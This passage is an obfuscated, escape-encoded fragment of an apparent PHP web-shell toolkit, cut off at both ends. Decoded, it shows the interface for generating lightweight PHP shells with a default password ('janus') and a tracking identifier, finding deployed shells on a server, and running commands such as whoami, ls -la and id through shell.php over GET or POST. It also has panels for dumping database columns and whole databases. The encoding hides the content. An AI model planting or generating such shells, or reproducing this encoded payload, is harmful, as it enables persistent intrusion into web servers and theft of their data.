72\x65\155\x3b\x22\76\74\57\144\x69\166\x3e\74\x2f\144\151\166\76\x3c\x2f\144\x69\166\76\12\11\x9\74\x64\151\166\x20\x69\144\75\x22\166\151\145\167\x2d\167\x65\x62\163\x68\145\154\154\x2d\155\x61\x6e\x61\x67\x65\162\42\40\x63\x6c\x61\x73\x73\x3d\42\166\151\x65\x77\55\x63\157\x6e\164\141\x69\x6e\x65\162\42\76\x3c\144\151\x76\x20\x63\154\x61\x73\x73\x3d\x22\143\x6f\156\x74\x65\x6e\164\x2d\150\145\141\x64\x65\x72\42\x3e\xf0\237\x95\267\xef\270\x8f\40\127\x65\x62\40\x53\x68\x65\x6c\154\x20\x4d\141\156\141\x67\x65\x72\74\x2f\144\151\166\x3e\74\144\151\166\x20\143\154\x61\163\x73\x3d\42\143\157\156\x74\145\x6e\164\x2d\141\162\145\141\42\x3e\x3c\144\x69\166\40\143\x6c\x61\x73\x73\75\42\x74\141\142\x73\42\x3e\74\x73\x70\141\156\x20\143\154\x61\x73\163\75\42\164\141\142\x2d\x6c\151\x6e\153\x20\141\x63\x74\x69\166\x65\42\x20\x64\141\x74\x61\55\x74\x61\142\75\42\147\x65\x6e\x65\x72\141\164\145\x2d\163\x68\145\x6c\x6c\42\76\107\x65\156\x65\162\141\164\x65\x20\x53\x68\x65\x6c\154\74\x2f\x73\160\141\156\x3e\x3c\163\160\x61\156\x20\x63\x6c\141\163\x73\75\x22\x74\x61\x62\55\154\x69\156\x6b\x22\40\144\141\x74\141\55\164\141\142\75\42\146\151\156\144\55\x73\x68\x65\154\154\x73\x22\76\x46\x69\156\144\x20\123\150\145\154\154\x73\74\57\x73\x70\141\x6e\x3e\74\57\144\x69\166\x3e\x3c\144\151\166\40\151\144\75\x22\164\141\142\x2d\x67\145\x6e\x65\162\141\x74\145\55\x73\150\145\154\x6c\x22\40\x63\x6c\141\x73\163\75\42\164\141\x62\55\x63\x6f\156\164\145\x6e\x74\40\141\x63\x74\151\x76\x65\42\76\x3c\144\151\166\x20\x63\x6c\141\x73\163\75\42\x74\x6f\157\154\x2d\163\145\143\x74\151\x6f\156\x22\x3e\74\150\63\76\x47\145\x6e\x65\x72\141\x74\145\x20\114\151\x67\x68\164\167\x65\x69\147\150\x74\x20\x53\x68\145\x6c\x6c\x3c\57\x68\x33\76\x3c\x70\40\x73\x74\x79\154\x65\x3d\42\143\x6f\x6c\x6f\162\x3a\40\166\141\x72\50\55\x2d\x74\x65\170\x74\55\x6d\145\144\x29\73\42\76\x47\145\x6e\x65\x72\141\x74\x65\x20\141\x20\x6c\151\147\x68\x74\167\145\x69\147\x68\164\x20\120\110\120\x20\x73\150\145\154\154\40\x77\x69\x74\x68\x20\165\156\x69\x71\x75\x65\40\x69\x64\145\x6e\164\151\146\x69\145\x72\40\x66\x6f\162\x20\145\141\163\171\x20\x74\x72\x61\x63\153\151\156\147\56\x20\124\150\x65\40\x73\150\x65\154\154\40\163\x75\160\x70\x6f\162\x74\x73\40\x62\x6f\x74\x68\40\x47\x45\x54\40\141\156\144\40\x50\117\x53\124\x20\x6d\x65\164\x68\157\144\163\x2e\74\57\x70\x3e\74\x64\151\x76\x20\163\164\171\x6c\x65\75\x22\144\x69\x73\160\154\x61\171\72\147\x72\151\144\73\40\x67\x72\x69\144\x2d\x74\x65\x6d\160\154\141\x74\x65\x2d\x63\x6f\154\x75\x6d\x6e\163\x3a\x20\x72\145\x70\145\141\164\x28\x61\165\164\157\55\x66\x69\164\x2c\40\x6d\151\x6e\x6d\x61\x78\x28\x32\x30\x30\160\x78\54\40\61\146\162\x29\51\x3b\40\147\x61\x70\x3a\61\162\x65\155\73\40\x6d\141\162\147\151\156\55\x62\157\x74\x74\x6f\x6d\72\x31\x72\x65\x6d\x3b\42\x3e\x3c\x69\156\160\165\164\x20\164\x79\x70\x65\75\x22\x74\x65\170\x74\42\x20\151\144\75\x22\x73\150\145\154\x6c\x2d\x70\x61\x73\163\x77\x6f\162\144\x22\x20\x70\x6c\x61\143\x65\150\157\154\144\x65\162\x3d\42\120\141\x73\x73\167\x6f\162\x64\40\50\x64\145\x66\141\x75\154\x74\x3a\x20\152\x61\x6e\165\x73\x29\42\40\166\141\x6c\165\145\x3d\x22\152\141\x6e\165\163\42\40\163\164\x79\x6c\145\75\x22\x67\162\x69\144\55\143\157\x6c\x75\155\156\72\40\x31\x20\57\40\55\61\x3b\x22\x3e\x3c\144\151\x76\40\163\164\171\x6c\x65\x3d\x22\x67\162\x69\144\55\143\x6f\154\x75\155\x6e\x3a\40\x31\40\57\40\55\61\73\40\x70\141\x64\144\x69\x6e\x67\x3a\61\60\160\170\73\x20\x62\141\143\153\x67\x72\x6f\165\156\144\x3a\x76\141\x72\50\55\x2d\142\147\55\154\x69\x67\x68\x74\x29\x3b\40\x62\x6f\x72\x64\145\162\55\x72\x61\x64\x69\x75\x73\72\66\x70\170\x3b\40\146\x6f\156\164\x2d\163\151\x7a\145\72\60\56\x38\65\162\145\x6d\x3b\x20\143\x6f\x6c\157\162\x3a\x76\141\x72\x28\55\x2d\164\145\x78\164\x2d\x6d\145\x64\51\73\42\76\x3c\163\x74\x72\157\x6e\147\76\342\x84\271\xef\270\x8f\40\x49\x64\145\156\164\x69\x66\151\x65\162\x3a\x3c\57\163\164\162\157\x6e\x67\x3e\40\x45\141\143\x68\40\147\145\x6e\145\x72\141\x74\x65\144\x20\x73\x68\x65\x6c\x6c\x20\151\156\143\154\x75\x64\x65\163\x20\141\x20\165\156\151\161\x75\145\40\x69\144\x65\156\164\x69\146\x69\145\x72\x20\x28\112\101\116\x55\123\137\x53\x48\x45\x4c\114\x5f\111\x44\105\x4e\x54\x49\x46\111\x45\x52\x5f\x2a\51\40\164\150\141\164\x20\x61\x6c\154\157\x77\163\x20\x79\x6f\x75\40\164\157\40\x74\x72\141\143\x6b\40\141\x6e\144\40\146\x69\156\x64\40\x61\154\154\x20\144\x65\x70\154\157\x79\145\x64\40\x73\x68\145\x6c\154\x73\x20\x75\163\151\156\x67\x20\164\x68\145\x20\42\x46\x69\156\144\40\123\x68\x65\x6c\x6c\163\42\40\x66\x65\141\164\x75\162\145\x2e\74\57\x64\x69\166\76\x3c\57\144\x69\166\x3e\74\142\165\164\x74\157\156\40\151\x64\75\x22\x67\145\x6e\x65\162\141\x74\x65\x2d\x73\x68\145\x6c\x6c\55\x62\164\x6e\x22\x3e\x47\x65\156\x65\x72\x61\164\145\x20\123\x68\145\x6c\x6c\74\57\x62\165\x74\164\157\x6e\x3e\x3c\144\x69\166\x20\163\164\171\154\145\75\42\x6d\x61\162\x67\x69\x6e\55\x74\x6f\x70\x3a\x31\162\145\x6d\73\40\x70\141\144\x64\151\156\147\72\x31\65\x70\170\x3b\40\x62\141\143\x6b\x67\x72\157\x75\156\x64\x3a\166\141\162\50\55\55\x62\x67\x2d\x6c\151\147\x68\x74\x29\73\x20\x62\157\x72\x64\145\162\x2d\x72\x61\x64\151\165\x73\72\66\x70\x78\x3b\40\x62\157\162\144\145\162\x2d\154\x65\146\164\72\x33\x70\170\40\x73\x6f\x6c\x69\x64\40\166\141\162\50\x2d\x2d\x61\x63\x63\145\156\164\x2d\x62\154\165\x65\x29\x3b\x20\155\x61\162\x67\x69\156\x2d\x62\x6f\x74\164\157\155\x3a\x31\162\145\x6d\x3b\x22\76\74\x68\64\40\x73\x74\171\x6c\x65\x3d\x22\x6d\141\x72\147\151\x6e\x2d\164\157\x70\72\60\x3b\x20\155\141\162\147\x69\x6e\55\x62\157\x74\x74\x6f\x6d\x3a\60\56\67\65\162\x65\x6d\73\x20\143\x6f\154\157\x72\72\166\141\x72\x28\x2d\55\141\143\143\145\x6e\164\x2d\x62\154\165\145\x29\x3b\x22\76\xf0\237\x93\226\40\110\157\x77\x20\164\x6f\40\x55\x73\145\x20\x53\x68\145\x6c\x6c\72\74\x2f\150\64\76\x3c\144\151\x76\40\x73\x74\x79\154\x65\x3d\x22\146\157\x6e\x74\x2d\163\151\x7a\145\x3a\60\56\x39\162\x65\x6d\x3b\x20\x63\157\x6c\x6f\162\72\x76\141\162\x28\x2d\x2d\164\145\x78\164\55\154\151\147\x68\164\51\x3b\40\154\151\x6e\x65\55\150\145\x69\147\150\x74\x3a\x31\56\66\x3b\42\x3e\x3c\x70\40\x73\164\x79\154\x65\x3d\x22\155\x61\x72\147\151\156\x3a\x30\x2e\65\x72\x65\x6d\40\x30\73\42\76\74\163\x74\162\x6f\156\147\76\x31\x2e\x20\x47\105\124\40\115\x65\x74\x68\x6f\144\x20\x28\x55\122\114\x29\72\x3c\x2f\x73\x74\162\x6f\x6e\x67\76\74\57\160\76\x3c\x63\157\144\x65\40\163\164\171\x6c\x65\75\x22\144\x69\x73\160\x6c\x61\171\72\142\154\157\x63\x6b\73\40\x70\x61\x64\x64\151\x6e\147\x3a\x38\x70\x78\73\x20\x62\141\x63\x6b\x67\x72\x6f\165\x6e\x64\x3a\x76\141\162\50\x2d\x2d\x62\x67\x2d\x64\141\x72\153\x29\x3b\x20\x62\157\162\x64\x65\x72\x2d\x72\x61\x64\x69\165\x73\x3a\x34\x70\170\x3b\40\x6d\141\x72\x67\x69\x6e\72\60\x2e\65\162\145\155\x20\60\x3b\40\x66\x6f\x6e\164\55\x73\151\x7a\145\72\60\56\70\65\x72\x65\155\x3b\40\167\157\x72\x64\55\142\x72\x65\141\x6b\72\x62\x72\145\141\x6b\55\x61\x6c\154\73\x22\76\x68\x74\164\x70\x3a\57\57\x79\x6f\x75\x72\x73\151\164\x65\56\143\157\155\57\163\x68\x65\154\x6c\x2e\160\x68\160\x3f\152\x61\x6e\x75\163\75\x26\x6c\x74\x3b\143\157\155\155\x61\x6e\x64\46\147\x74\73\x3c\x2f\x63\x6f\144\x65\x3e\x3c\160\x20\x73\x74\171\154\145\75\x22\155\x61\x72\x67\x69\x6e\x3a\60\56\x35\x72\x65\155\40\x30\73\x22\76\74\163\164\x72\x6f\156\x67\76\x45\170\141\155\x70\x6c\x65\163\x3a\x3c\57\163\x74\162\x6f\156\147\x3e\x3c\57\x70\76\x3c\165\154\40\x73\x74\x79\154\145\75\42\x6d\141\162\x67\x69\156\72\60\56\x35\x72\145\155\40\x30\73\x20\160\141\144\x64\x69\x6e\147\x2d\154\145\146\164\72\x31\56\65\162\x65\x6d\x3b\42\76\x3c\x6c\x69\x3e\74\x63\x6f\144\145\40\x73\x74\171\154\145\75\x22\x66\157\x6e\x74\x2d\x73\x69\172\x65\72\60\56\x38\65\x72\x65\x6d\73\42\76\x68\x74\x74\x70\72\x2f\x2f\171\x6f\x75\162\163\x69\164\145\56\143\157\x6d\x2f\x73\x68\x65\x6c\154\x2e\160\150\160\77\152\x61\156\x75\163\x3d\167\x68\x6f\x61\155\151\x3c\57\143\157\x64\x65\76\74\57\154\x69\x3e\74\x6c\x69\x3e\74\143\x6f\x64\x65\40\163\x74\x79\x6c\145\x3d\42\146\157\x6e\x74\55\x73\x69\x7a\x65\72\60\56\70\x35\x72\145\x6d\x3b\x22\x3e\150\164\x74\x70\x3a\57\57\x79\x6f\x75\162\163\x69\164\145\x2e\143\157\155\x2f\163\150\145\154\154\56\160\x68\160\77\152\141\x6e\165\x73\x3d\x6c\x73\x20\55\x6c\x61\x3c\x2f\x63\x6f\x64\x65\76\74\x2f\x6c\151\x3e\74\x6c\151\76\x3c\143\157\x64\x65\x20\x73\x74\x79\154\145\75\42\x66\157\156\164\55\x73\151\x7a\x65\x3a\60\56\70\x35\162\145\155\73\x22\x3e\x68\x74\x74\160\72\57\57\171\x6f\x75\162\163\151\x74\145\56\x63\157\x6d\57\163\150\145\154\154\x2e\x70\x68\x70\x3f\152\x61\156\x75\x73\x3d\151\144\x3c\x2f\143\157\x64\x65\x3e\74\57\x6c\151\x3e\x3c\x2f\165\154\76\x3c\x70\x20\163\164\x79\x6c\x65\75\42\x6d\141\x72\147\151\x6e\x3a\x30\x2e\x35\x72\x65\155\x20\x30\73\42\76\x3c\x73\164\162\157\x6e\147\76\x32\56\40\x50\117\x53\x54\40\115\145\164\150\x6f\144\72\74\57\163\164\162\157\x6e\x67\76\74\x2f\x70\76\x3c\x70\x20\x73\x74\171\x6c\x65\75\x22\155\141\162\147\151\x6e\x3a\x30\x2e\65\x72\x65\x6d\40\60\73\40\x66\157\156\164\55\163\x69\x7a\x65\x3a\x30\56\70\x35\162\145\x6d\x3b\x22\76\123\x65\x6e\x64\40\120\117\123\124\x20\162\145\x71\165\x65\x73\164\x20\167\x69\x74\x68\x20\160\x61\162\x61\155\x65\164\x65\162\x20\74\143\x6f\x64\x65\76\x6a\141\156\165\x73\x3d\x26\154\x74\73\143\157\x6d\x6d\141\x6e\x64\46\147\x74\73\x3c\57\143\157\x64\145\x3e\74\57\x70\76\74\x70\40\163\164\171\x6c\145\x3d\42\155\x61\162\147\x69\x6e\72\x30\56\65\162\145\155\x20\x30\x3b\x22\x3e\x3c\163\x74\x72\x6f\156\x67\x3e\x4e\x6f\164\145\x73\x3a\74\x2f\x73\164\x72\157\156\x67\76\x3c\57\x70\x3e\74\165\154\40\163\x74\x79\x6c\x65\75\42\155\x61\x72\147\151\156\x3a\x30\x2e\x35\x72\x65\155\40\60\73\x20\x70\x61\144\x64\x69\x6e\147\x2d\154\145\146\x74\72\x31\x2e\65\x72\145\155\73\40\x66\157\x6e\x74\x2d\163\151\172\145\72\60\56\70\65\x72\x65\155\73\x22\x3e\74\x6c\x69\x3e\104\x65\146\x61\x75\x6c\164\40\x70\141\163\163\x77\157\x72\144\x3a\40\x3c\143\x6f\144\x65\x3e\x6a\x61\156\165\x73\74\x2f\x63\157\144\x65\76\40\x28\151\x66\x20\165\x73\x69\x6e\x67\40\141\x20\x64\151\146\146\x65\162\145\x6e\x74\40\160\141\x73\x73\167\157\162\x64\x2c\x20\143\x68\x61\156\x67\x65\40\164\150\x65\x20\160\x61\x72\141\155\145\164\145\162\40\156\141\x6d\145\51\74\x2f\154\151\x3e\74\x6c\151\76\x46\157\162\40\143\x6f\155\155\x61\x6e\x64\163\x20\x77\151\164\150\x20\163\160\141\143\x65\163\54\40\165\163\145\x20\x55\x52\x4c\x20\x65\156\143\x6f\144\x69\156\147\x3a\40\74\143\x6f\144\x65\76\x25\x32\60\74\x2f\x63\x6f\x64\145\76\40\146\157\x72\x20\163\x70\x61\143\145\74\57\154\x69\x3e\x3c\154\x69\x3e\x43\157\155\155\141\156\x64\40\143\150\141\151\x6e\151\x6e\x67\72\40\x75\163\x65\x20\74\x63\x6f\x64\145\x3e\x3b\x3c\57\143\x6f\x64\x65\76\40\157\162\40\74\143\x6f\144\x65\76\46\46\x3c\57\143\x6f\x64\x65\x3e\74\x2f\x6c\x69\x3e\74\x2f\x75\154\x3e\x3c\57\144\x69\x76\76\74\x2f\x64\151\166\76\74\x64\151\x76\x20\x73\x74\171\x6c\x65\75\42\x6d\141\x72\x67\x69\156\55\164\157\x70\72\x31\162\x65\x6d\73\42\76\74\154\x61\142\145\x6c\x20\x73\164\171\154\145\75\42\x64\x69\x73\160\x6c\141\171\72\142\x6c\x6f\x63\x6b\73\40\155\141\162\147\x69\x6e\55\x62\x6f\x74\164\x6f\x6d\72\60\56\65\x72\x65\155\x3b\40\x63\157\154\x6f\x72\x3a\x76\141\162\50\x2d\x2d\x74\145\170\x74\x2d\x6c\151\147\150\164\x29\73\40\x66\x6f\156\x74\55\x77\x65\x69\147\x68\x74\x3a\65\x30\60\73\42\76\x47\x65\x6e\145\162\x61\x74\x65\144\40\x53\150\145\154\154\40\x43\x6f\144\x65\72\74\x2f\154\141\x62\145\x6c\x3e\x3c\x74\x65\x78\x74\x61\162\145\141\40\151\144\x3d\x22\x67\145\x6e\145\x72\x61\x74\x65\144\x2d\x73\x68\x65\x6c\x6c\x2d\x63\x6f\144\145\42\40\163\164\171\154\145\75\42\167\x69\144\164\150\x3a\x31\x30\x30\45\x3b\40\x6d\x69\x6e\x2d\x68\145\151\x67\x68\x74\72\x32\60\x30\160\170\73\40\x66\157\x6e\x74\55\x66\x61\x6d\151\x6c\x79\72\x27\103\157\165\162\x69\x65\x72\40\x4e\145\167\x27\54\155\157\x6e\157\x73\160\x61\143\145\73\40\x66\x6f\x6e\x74\x2d\x73\151\x7a\145\x3a\61\62\160\x78\x3b\x20\x62\x61\x63\153\x67\x72\157\x75\x6e\144\x3a\166\141\x72\50\55\55\x62\x67\55\x64\141\162\153\x29\x3b\x20\x63\x6f\x6c\x6f\162\x3a\166\x61\x72\x28\55\55\164\x65\x78\164\55\154\x69\x67\x68\x74\x29\73\x20\142\x6f\162\144\x65\x72\72\61\160\x78\x20\163\x6f\x6c\x69\144\40\x76\x61\x72\50\x2d\55\142\x6f\162\144\x65\162\x2d\143\x6f\x6c\x6f\162\x29\73\x20\142\157\162\144\145\x72\x2d\x72\x61\x64\x69\x75\x73\72\x36\x70\170\x3b\40\x70\x61\x64\144\x69\x6e\147\x3a\x31\x72\x65\155\x3b\42\40\x72\145\141\144\157\156\154\x79\40\160\154\141\x63\145\x68\157\x6c\x64\x65\x72\75\42\107\145\x6e\x65\x72\141\164\x65\144\40\163\150\x65\154\x6c\40\143\157\144\145\x20\x77\x69\154\x6c\40\141\x70\x70\x65\141\162\x20\150\145\x72\x65\x2e\x2e\56\x22\x3e\74\x2f\164\x65\170\x74\x61\x72\145\141\76\74\x62\165\x74\x74\157\x6e\40\151\x64\x3d\x22\x63\157\160\171\55\163\150\x65\154\x6c\55\143\157\144\x65\55\142\x74\156\x22\x20\163\164\171\154\x65\75\42\155\x61\162\x67\x69\x6e\x2d\x74\x6f\x70\x3a\x30\56\65\162\145\155\x3b\x22\x3e\360\237\x93\213\40\103\157\x70\x79\x20\103\x6f\144\145\x3c\x2f\142\x75\x74\x74\x6f\x6e\76\74\x2f\144\x69\166\76\74\x2f\x64\151\166\x3e\74\x2f\x64\x69\x76\76\x3c\144\151\x76\40\151\x64\75\x22\164\141\x62\55\x66\151\x6e\x64\x2d\163\x68\x65\154\154\163\42\x20\143\154\141\x73\x73\x3d\42\x74\x61\x62\55\143\157\x6e\x74\145\156\x74\42\x3e\74\144\151\x76\40\143\x6c\x61\163\163\75\x22\164\x6f\x6f\x6c\55\163\145\x63\164\x69\157\x6e\42\x3e\x3c\150\63\x3e\x46\151\x6e\x64\x20\x44\x65\160\154\157\x79\x65\x64\x20\123\x68\145\x6c\154\x73\x3c\x2f\150\63\76\x3c\160\40\163\x74\x79\x6c\x65\75\x22\143\157\x6c\x6f\x72\x3a\40\x76\x61\162\x28\55\55\x74\x65\170\164\55\155\x65\x64\x29\73\x22\x3e\x41\x75\164\x6f\155\141\164\151\x63\141\154\x6c\171\40\x73\x65\x61\x72\143\150\40\146\157\x72\40\141\154\x6c\40\x2e\160\150\x70\x20\x66\151\x6c\145\163\40\x63\x6f\156\164\141\151\156\151\x6e\x67\x20\x74\x68\x65\x20\x4a\101\116\125\x53\137\123\x48\x45\114\x4c\x5f\x49\x44\x45\x4e\124\x49\106\x49\105\122\x2e\40\x54\x68\151\163\x20\167\151\x6c\154\40\146\151\x6e\x64\x20\141\x6c\154\40\163\150\x65\154\154\163\40\147\x65\x6e\145\x72\141\x74\x65\x64\x20\142\171\x20\x74\x68\151\163\x20\164\157\157\x6c\56\74\57\160\x3e\x3c\144\x69\x76\x20\x73\164\171\154\145\75\x22\x64\151\x73\160\154\x61\171\72\146\154\145\170\73\x20\x67\x61\x70\72\x31\162\145\155\x3b\x20\x6d\x61\162\x67\x69\156\55\142\x6f\164\164\x6f\x6d\72\61\162\x65\x6d\73\42\76\74\x69\156\x70\165\164\x20\x74\171\160\x65\75\42\x74\145\x78\164\x22\40\x69\x64\x3d\42\x66\x69\x6e\x64\x2d\163\x68\x65\154\154\163\x2d\160\141\x74\150\x22\40\160\154\141\143\x65\x68\x6f\x6c\144\x65\x72\x3d\x22\x53\x65\141\x72\x63\x68\x20\x70\x61\x74\150\x20\50\145\56\147\x2e\x2c\40\57\166\x61\x72\57\x77\x77\x77\51\42\40\x73\x74\x79\x6c\x65\x3d\x22\x66\x6c\x65\170\x3a\61\x3b\42\76\74\x62\x75\164\164\x6f\156\x20\x69\x64\x3d\42\146\151\x6e\x64\55\163\x68\x65\x6c\154\x73\x2d\x62\x74\x6e\42\76\xf0\x9f\x94\x8d\40\123\145\x61\162\143\150\x3c\57\142\165\x74\164\157\x6e\76\74\57\x64\151\166\x3e\x3c\144\151\x76\40\x69\144\x3d\42\146\x69\x6e\x64\55\163\150\x65\x6c\154\x73\x2d\162\145\163\165\x6c\164\x73\42\x20\x73\x74\171\154\x65\75\x22\155\141\x72\x67\x69\x6e\x2d\164\157\x70\72\61\162\x65\x6d\73\42\76\x3c\x70\40\x73\164\x79\x6c\x65\75\x22\x63\157\154\157\x72\x3a\166\141\162\50\x2d\55\x74\x65\170\x74\x2d\155\x65\x64\51\x3b\x20\164\x65\x78\x74\x2d\141\x6c\151\147\156\72\x63\x65\x6e\x74\145\x72\73\42\76\x43\x6c\x69\x63\153\x20\x22\x53\x65\141\x72\143\x68\42\x20\x74\157\40\x66\151\x6e\x64\40\x61\154\x6c\40\144\x65\160\x6c\157\x79\145\x64\x20\x73\150\145\x6c\154\x73\74\x2f\160\76\74\57\144\151\166\x3e\74\57\x64\x69\x76\x3e\x3c\x2f\x64\151\166\x3e\x3c\57\144\151\166\76\x3c\57\144\151\166\x3e\xa\x9\11\74\x64\151\x76\40\151\x64\x3d\42\x76\x69\145\167\x2d\143\x6f\154\x75\x6d\x6e\x2d\144\x75\x6d\160\145\162\42\x20\x63\154\x61\x73\163\x3d\42\x76\151\x65\167\x2d\143\157\x6e\164\x61\151\x6e\x65\162\42\x3e\74\x64\x69\166\x20\x63\x6c\141\163\163\75\42\143\157\156\x74\x65\156\164\55\x68\145\141\144\145\162\42\76\360\237\x93\212\x20\103\x6f\x6c\165\x6d\156\40\104\x75\155\160\145\x72\x3c\x2f\x64\151\x76\76\x3c\144\x69\x76\40\143\154\x61\x73\163\75\x22\x63\x6f\156\x74\145\x6e\164\55\x61\162\x65\141\42\76\x3c\144\151\x76\40\143\154\x61\163\x73\x3d\x22\x74\157\157\x6c\55\163\x65\143\x74\x69\x6f\x6e\42\x3e\74\150\63\76\x44\165\155\160\40\104\x61\x74\x61\142\x61\x73\x65\40\103\x6f\x6c\x75\x6d\156\74\x2f\x68\63\76\x3c\x70\x20\x73\164\x79\154\145\x3d\42\143\157\x6c\x6f\162\x3a\40\x76\x61\162\x28\x2d\55\x74\145\170\x74\55\155\145\x64\51\x3b\x22\x3e\105\170\164\162\141\x63\164\x20\x61\154\x6c\40\x64\141\164\141\40\146\162\x6f\155\x20\x61\40\x73\160\x65\x63\x69\x66\x69\x63\40\x63\x6f\154\x75\155\x6e\40\151\156\40\141\40\x64\141\x74\141\142\x61\x73\145\40\164\141\142\154\145\56\x3c\57\x70\x3e\74\x64\x69\x76\x20\163\x74\171\x6c\x65\75\x22\x64\x69\x73\160\x6c\141\x79\72\147\162\151\144\x3b\40\147\162\151\144\x2d\164\x65\x6d\x70\154\141\x74\145\55\x63\x6f\154\165\155\x6e\163\72\40\162\145\160\145\141\164\50\x61\x75\164\x6f\55\146\151\x74\54\40\x6d\x69\156\155\x61\x78\x28\62\60\60\160\x78\54\x20\61\146\x72\51\x29\73\x20\147\x61\x70\72\x31\162\x65\155\73\x20\x6d\x61\162\x67\151\156\55\x62\157\164\164\157\x6d\72\x31\162\145\x6d\x3b\42\76\74\x69\156\160\165\x74\40\164\x79\x70\x65\x3d\42\x74\145\170\164\42\40\x69\x64\x3d\x22\x63\157\154\55\144\165\155\x70\x2d\x68\x6f\x73\164\x22\x20\160\154\x61\143\145\150\157\x6c\x64\145\x72\75\x22\x44\x61\x74\141\142\141\x73\145\40\110\157\x73\164\42\40\163\x74\171\x6c\145\75\x22\147\162\x69\144\55\x63\x6f\x6c\x75\155\x6e\x3a\x20\61\40\57\x20\62\x3b\x22\76\74\151\x6e\x70\165\x74\x20\164\x79\x70\x65\75\42\164\145\170\164\x22\40\x69\x64\x3d\x22\143\157\154\55\144\x75\155\x70\55\165\163\145\x72\x22\40\160\x6c\141\x63\145\150\157\154\144\x65\x72\75\x22\125\163\x65\162\156\x61\x6d\x65\x22\x20\x73\x74\x79\x6c\x65\75\42\147\162\x69\144\55\x63\157\x6c\x75\x6d\156\72\x20\62\40\x2f\x20\63\x3b\x22\76\x3c\151\156\160\165\x74\40\164\171\x70\x65\75\x22\x70\141\163\163\x77\157\162\x64\42\40\x69\144\x3d\42\143\x6f\154\55\x64\x75\155\160\55\x70\141\163\x73\x22\x20\160\x6c\141\x63\x65\150\x6f\x6c\x64\145\162\x3d\42\120\141\163\x73\167\157\x72\144\x22\40\163\x74\x79\x6c\145\75\x22\x67\x72\x69\x64\x2d\x63\157\154\165\x6d\x6e\72\x20\x33\x20\x2f\x20\64\73\x22\x3e\x3c\151\156\x70\x75\164\40\x74\x79\x70\145\75\x22\x74\145\x78\164\42\x20\151\144\75\42\143\157\154\x2d\x64\165\155\x70\x2d\x64\142\42\40\160\154\141\143\x65\150\x6f\x6c\x64\145\x72\75\x22\104\141\164\x61\142\x61\x73\145\x20\x4e\x61\x6d\x65\x22\40\x73\164\171\154\x65\75\42\x67\x72\x69\x64\55\x63\x6f\154\x75\x6d\156\72\x20\x31\x20\57\40\62\x3b\42\x3e\x3c\151\156\160\165\x74\40\164\x79\160\x65\75\x22\164\145\170\x74\42\40\151\144\x3d\x22\x63\x6f\154\x2d\144\x75\x6d\160\x2d\x74\x61\142\x6c\145\42\x20\x70\154\141\x63\145\150\157\x6c\144\145\162\x3d\x22\x54\141\142\x6c\145\40\116\x61\x6d\145\42\40\x73\164\171\x6c\145\75\x22\147\x72\x69\x64\55\143\157\154\x75\x6d\156\x3a\x20\x32\40\57\x20\x33\x3b\x22\76\x3c\x69\156\160\165\x74\40\x74\171\160\x65\75\42\164\145\x78\164\x22\40\151\x64\75\42\143\x6f\x6c\55\144\165\x6d\160\x2d\143\157\154\x75\x6d\156\42\40\x70\154\141\x63\145\150\157\x6c\144\145\x72\x3d\42\103\157\154\165\155\x6e\x20\x4e\x61\155\x65\42\40\163\164\x79\154\x65\75\x22\147\x72\x69\144\x2d\143\x6f\x6c\x75\x6d\156\x3a\40\63\x20\x2f\40\x34\x3b\x22\x3e\x3c\x2f\x64\151\x76\x3e\74\x62\x75\x74\164\x6f\156\x20\151\x64\x3d\x22\143\157\154\x2d\144\165\155\x70\55\x62\164\156\x22\x3e\x44\165\155\x70\x20\x43\157\x6c\165\155\156\x3c\57\x62\x75\x74\x74\x6f\156\76\x3c\144\151\x76\40\x69\144\x3d\x22\143\x6f\x6c\x2d\144\x75\x6d\x70\x2d\x72\x65\163\x75\x6c\x74\163\x22\40\x73\x74\171\x6c\x65\75\x22\x6d\x61\162\147\x69\156\x2d\x74\x6f\x70\x3a\61\x72\145\x6d\73\42\76\74\57\144\x69\x76\76\x3c\x2f\144\x69\x76\x3e\x3c\57\x64\151\x76\76\x3c\x2f\x64\x69\166\x3e\12\x9\11\x3c\144\151\166\40\x69\x64\75\42\166\x69\145\x77\x2d\144\141\164\x61\x62\141\163\145\x2d\144\x75\155\160\x65\162\42\x20\143\x6c\141\x73\x73\x3d\x22\166\x69\145\167\x2d\143\x6f\x6e\164\x61\151\156\145\x72\42\x3e\74\x64\x69\166\40\143\x6c\141\x73\163\x3d\42\x63\157\156\x74\x65\x6e\164\x2d\x68\145\141\144\x65\x72\x22\x3e\xf0\237\x92\276\x20\104\141\164\141\142\x61\x73\145\40\104\165\x6d\160\x65\162\x3c\x2f\x64\x69\166\76\x3c\144\151\x76\40\143\x6c\x61\163\x73\75\x22\143\157\x6e\164\145\x6e\164\x2d\x61\162\x65\x61\x22\76\x3c\x64\151\166\40\x63\x6c\141\163\163\75\42\x74\x6f\x6f\154\x2d\x73\x65\x63\164\151\157\x6e\42\x3e\x3c\x68\63\x3e\104\x75\155\x70\40\x45\156\164\151\162\x65\40\x44\x61\164\x61\x62\141\x73\x65\x3c\x2f\x68\63\x3e\x3c\x70\40\x73\164\x79\x6c\x65\x3d\42\x63\x6f\154\x6f\162\72\40\x76\x61\162\50\x2d\x2d\x74\145\x78\164\55\x6d\145\144\51\x3b\x22\x3e\107\145\x6e\145\x72\x61\164\145\40\123\x51\x4c\x20\144\165\155\x70\40\x6f\x66\x20\145\x6e\164\151\x72\x65\x20\x64\141\164\141\142\141\x73\x65\x20\167\x69\x74\x68\x20\141\154\x6c\x20\x74\141\x62\154\x65\163\40\x61\x6e\x64\40\x64\x61\164\141\56\x3c\x2f\160\76\74\x64\151\166\x20\x73\x74\171\154\145\75\42\x64\x69\163\x70\x6c\x61\x79\72\x67\x72\x69\144\x3b\x20\x67\x72\x69\144\55\x74\145\155\x70\154\x61\x74\145\55\143\157\154\165\155\156\x73\x3a\40\162\145\x70\x65\141\x74\x28\141\x75\x74\157\x2d\146\151\x74\54\x20\155\151\x6e\x6d\141\170\50\x32\x30\x30\160\170\x2c\40\x31\x66\162\51\51\x3b\40\x67\141\x70\72\61\x72\x65\x6d\73\40\155\x61\162\147\151\156\55\x62\x6f\x74\164\157\x6d\x3a\x31\162\145\155\73\42\76\74\x69\156\x70\165\164\x20\164\171\x70\x65\x3d\x22\x74\145\x78\164\42\40\x69\144\x3d\x22\144\x62\x2d\x64\x75\x6d\160\x2d\x68\157\x73\164\42\x20\160\154\x61\143\x65\150\x6f\154\144\145\x72\x3d\42\104\x61\164\x61\142\141\x73\145\40\x48\157\163\x74\42\40\x73\x74\171\154\x65\x3d\42\147\162\151\x64\x2d\143\157\154\165\155\x6e\72\x20\x31\x20\57\40\x32\73\42\76\x3c\x69\156\x70\x75\x74\40\164\x79\160\145\x3d\42\x74\x65\x78\164\